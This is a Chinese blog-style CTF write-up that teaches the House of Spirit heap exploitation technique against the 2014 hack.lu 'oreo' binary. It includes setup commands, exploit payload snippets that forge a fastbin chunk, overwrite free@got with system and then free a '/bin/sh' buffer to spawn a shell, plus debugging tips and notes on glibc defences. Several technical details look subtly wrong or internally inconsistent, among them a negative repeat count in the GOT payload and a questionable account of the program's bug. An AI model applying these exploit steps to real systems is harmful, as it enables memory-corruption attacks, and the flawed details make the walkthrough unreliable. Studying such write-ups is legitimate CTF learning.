当前位置: 首页 > news >正文

从CTF实战出发:手把手教你用House of Spirit伪造堆块并劫持GOT表(以2014 hack.lu oreo为例)

从CTF实战拆解House of Spirit:伪造堆块的艺术与GOT劫持实战

在CTF的二进制攻防世界中,堆利用始终是最具挑战性的领域之一。当我在2019年第一次遇到House of Spirit(以下简称HoS)技术时,那种通过伪造堆块结构来控制程序执行流的精妙感,至今记忆犹新。不同于常规的堆溢出,HoS更像是一场精心设计的魔术表演——我们不需要直接修改任何堆管理数据结构,而是通过"欺骗"malloc返回一个完全由攻击者控制的假堆块,进而实现任意地址读写。本文将基于hack.lu CTF 2014年的经典赛题oreo,带您从零开始构建完整的攻击链,其中包含多个我在实际解题中踩过的坑和调试技巧。

1. 环境搭建与漏洞分析

1.1 题目环境配置

首先获取题目二进制文件和libc版本:

wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/oreo wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/libc.so.6

使用patchelf修复二进制依赖:

patchelf --set-interpreter /path/to/ld-linux.so.2 --replace-needed libc.so.6 ./libc.so.6 oreo

启动调试环境建议配置:

gdb -q ./oreo -ex "set environment LD_PRELOAD=./libc.so.6" -ex "b *0x08048A7C"

1.2 程序功能逆向分析

通过IDA Pro分析二进制文件,我们发现程序主要实现了一个简单的枪支管理系统:

  1. 添加枪支:malloc(0x38)分配结构体,存储枪支名称和描述
  2. 删除枪支:free后未清空指针(典型的UAF漏洞)
  3. 展示枪支:遍历链表输出所有枪支信息
  4. 订单功能:存在栈溢出漏洞但受限于长度

关键漏洞出现在删除功能中:

void delete_gun() { if (gun_count > 0) { free(gun_list[--gun_count]); // 没有置NULL } }

通过逆向我们还发现程序在0x0804A2A0处存储了一个全局的枪支列表指针数组,这将成为我们后续攻击的重要跳板。

2. House of Spirit技术核心原理

2.1 堆分配机制回顾

在glibc的malloc实现中,fastbin是最基础的分配机制之一。当请求大小在16到80字节(32位系统)之间时,malloc会优先从fastbin中寻找合适的内存块。关键特性包括:

  • 单链表结构(LIFO)
  • 仅检查size字段是否匹配当前fastbin索引
  • 不检查prev_inuse位或前后堆块完整性

HoS正是利用这些宽松的检查条件,通过以下步骤实现攻击:

  1. 在可控内存区域伪造一个合法的fastbin chunk
  2. 通过某种方式将这个假chunk放入fastbin链表
  3. 下次分配时malloc返回我们的假chunk
  4. 通过假chunk实现任意地址读写

2.2 伪造chunk的关键参数

要成功伪造一个能被malloc接受的chunk,必须满足以下条件:

字段32位要求64位要求备注
size0x40-0x7f0x40-0x7f必须对齐16字节边界
next chunksize > 2*SIZE_SZsize > 2*SIZE_SZ防止consolidate时检查失败
fd可写地址可写地址避免unlink时崩溃

在oreo这道题中,我们可以利用全局变量区作为伪造chunk的位置,因为:

  1. 地址固定已知(0x0804A2A0)
  2. 有足够的空间布置假chunk
  3. 后续可以通过程序功能修改这些内存

3. 构建完整攻击链

3.1 信息泄露与地址计算

首先需要泄露libc基址以计算system地址。通过以下步骤实现:

  1. 分配3个枪支对象(gun0, gun1, gun2)
  2. 释放gun1和gun0,使它们进入fastbin
  3. 分配新枪支,此时会复用gun0的内存
  4. 在gun0的description字段布置伪造的chunk头
  5. 展示枪支信息,泄露堆地址

关键payload构造:

add_gun("gun0", p32(0x41)+p32(0x0804A2A0)) add_gun("gun1", "B"*0x30) add_gun("gun2", "C"*0x30) delete_gun(1) delete_gun(0) add_gun("leak", "D"*16) # 复用gun0内存 show_guns() # 泄露0x0804A2A0地址

3.2 实施House of Spirit攻击

现在我们已经具备了所有必要条件:

  1. 知道全局变量区地址(0x0804A2A0)
  2. 能控制该区域的部分内容
  3. 程序存在UAF漏洞

具体攻击步骤:

  1. 在0x0804A2A0处布置伪造的fastbin chunk:
    • size字段设为0x40(对应fastbin索引)
    • fd指针指向一个可写地址(如0x0804A000)
fake_chunk = p32(0x40) + p32(0x0804A000) + "E"*0x38 add_gun("fake", fake_chunk)
  1. 通过UAF将伪造chunk链入fastbin:
delete_gun(0) # 此时fastbin: 0x0804A2A0 -> some_heap_addr
  1. 分配新枪支获取伪造chunk:
add_gun("hack", "F"*8) # 将返回0x0804A2A8(用户数据区)

3.3 GOT表劫持与shell获取

现在我们可以通过伪造的chunk修改GOT表。以劫持free@got为例:

  1. 确定free@got地址:0x0804A014
  2. 计算偏移:0x0804A014 - 0x0804A2A8 = -0x294
  3. 通过编辑功能修改内存:
payload = p32(system_addr) * (-0x294//4) edit_gun("hack", payload)
  1. 最后释放一个内容为"/bin/sh"的枪支:
add_gun("sh", "/bin/sh") delete_gun("sh") # 实际执行system("/bin/sh")

4. 调试技巧与常见问题排查

4.1 GDB实用命令

在实施HoS攻击时,这些命令特别有用:

# 查看fastbin状态 x/20wx 0x804B058 # arena->fastbinsY # 检查伪造chunk x/10i $eip # 查看当前执行流 x/10wx 0x0804A2A0 # 检查伪造chunk布局 # 关键断点设置 b *0x08048A7C # malloc内部调用点 b *0x08048AC1 # free调用点

4.2 典型错误与解决方案

  1. malloc(): memory corruption (fast)
    原因:伪造的size字段不符合fastbin要求
    解决:确保size在0x40-0x7f范围内且对齐16字节

  2. free(): invalid next size (fast)
    原因:next chunk的size字段太小
    解决:在伪造chunk后放置一个足够大的size值(如0x10000)

  3. 攻击后程序崩溃
    原因:GOT表劫持破坏了其他关键函数指针
    解决:精确计算偏移,只修改目标函数指针

5. 防御措施与进阶思考

现代glibc版本(2.32+)已经引入了更多安全检查机制:

  1. safe linking:对fastbin的fd指针进行异或加密
  2. 更严格的size检查:验证size与堆区域匹配性
  3. tcache机制:优先使用tcache而非fastbin

绕过这些保护需要结合其他技术:

  • 堆风水:精确控制堆布局
  • 部分写:利用字节级溢出修改关键数据
  • FSOP:结合文件流操作扩大攻击面

在实际CTF比赛中,HoS往往不是独立存在的,需要与以下技术结合使用:

  • ROP链构造:当无法直接劫持控制流时
  • 堆喷:提高攻击成功率
  • 类型混淆:绕过某些保护机制
http://www.jsqmd.com/news/901161/

相关文章:

  • 用Arduino Nano和OpenCV 3.4.9,我花4个月做了个能下五子棋的3轴机械臂(附完整避坑清单)
  • RAID配置翻车实录:从模拟器里学到的3个写策略(Write Policy)避坑经验
  • 别只盯着npm!用pnpm管理JeecgBoot-Vue3依赖,这些配置项(overrides/resolutions)你得懂
  • 从‘握手’到‘加密聊天’:一次HTTPS请求的Wireshark全链路解密(TLS 1.2 + RSA套件详解)
  • 实验16 修改波特率,校验位,停止位实验
  • 2026年评价高的窗帘挂钩/佛山浴室挂钩厂家精选合集 - 行业平台推荐
  • LibTorch C++部署中的那些“坑”:模型注册、命名空间与内存布局详解
  • OpenClaw 完整安装教程(2026 最新版)
  • 2026年口碑好的JWD3000干混砂浆/干混砂浆/湿拌砂浆推荐品牌厂家 - 行业平台推荐
  • 别再死记硬背了!用Verilog代码和波形图,5分钟搞懂Decoder、Mux和Selector的关系
  • RAG技术解析:如何构建基于检索增强生成的企业级知识问答系统
  • 别再死记硬背了!用Design Entry CIS画原理图符号,搞懂这3个属性就够了
  • Hippo:Python原生的本地大模型管理库,告别Ollama API调用
  • AI代理成本控制实战:成本天花板模式设计与实现
  • 使用UE4 HttpRequest提交多表单
  • AI应用前端设计实战:应对大模型输出不确定性的布局与状态管理策略
  • 2026年热门的南充湿拌砂浆头部/南充干混砂浆/砂浆稳定供货厂家推荐 - 品牌宣传支持者
  • 零成本构建AI智能体:基于免费API的自主任务执行系统实践
  • 告别Arduino IDE!用VSCode+PlatformIO插件打造你的全能嵌入式开发环境(附ESP32点灯实战)
  • 机械臂DIY避坑指南:从零设计你的第一个通信协议(含地址、校验、指令序列详解)
  • Linux内核级文件系统分析——文件系统入门内核级文章!
  • 2026年哈尔滨电大中专报名推荐榜:一年制/二年制中专学历、成人中专专业及毕业证办理全解析 - 品牌企业推荐师(官方)
  • GLM-5.1大模型:从文本到动画SVG代码的生成原理与应用
  • React+Next.js构建智能打字教练:AI实时分析与自适应学习
  • 避坑指南:给全志V3s开发板(荔枝派/BingPi)编译U-Boot和Linux内核时,那些容易踩的‘坑’
  • 构建AI上下文层:工程团队知识管理新范式
  • 2026年 宝钢镀锌HC700/980DHD+Z吉帕钢推荐榜单:吉帕级超高强钢/精密镀锌工艺/车身轻量化升级之选 - 品牌企业推荐师(官方)
  • OpenClaw 快速安装与初始化(含常见问题)
  • 半导体设备零部件展盘点,精选2026年半导体设备零部件展 - 品牌2025
  • GEE生物量碳储量——利用多源遥感影像计算1987-2022年生物量,并根据碳转换系数将生物量转化为碳储量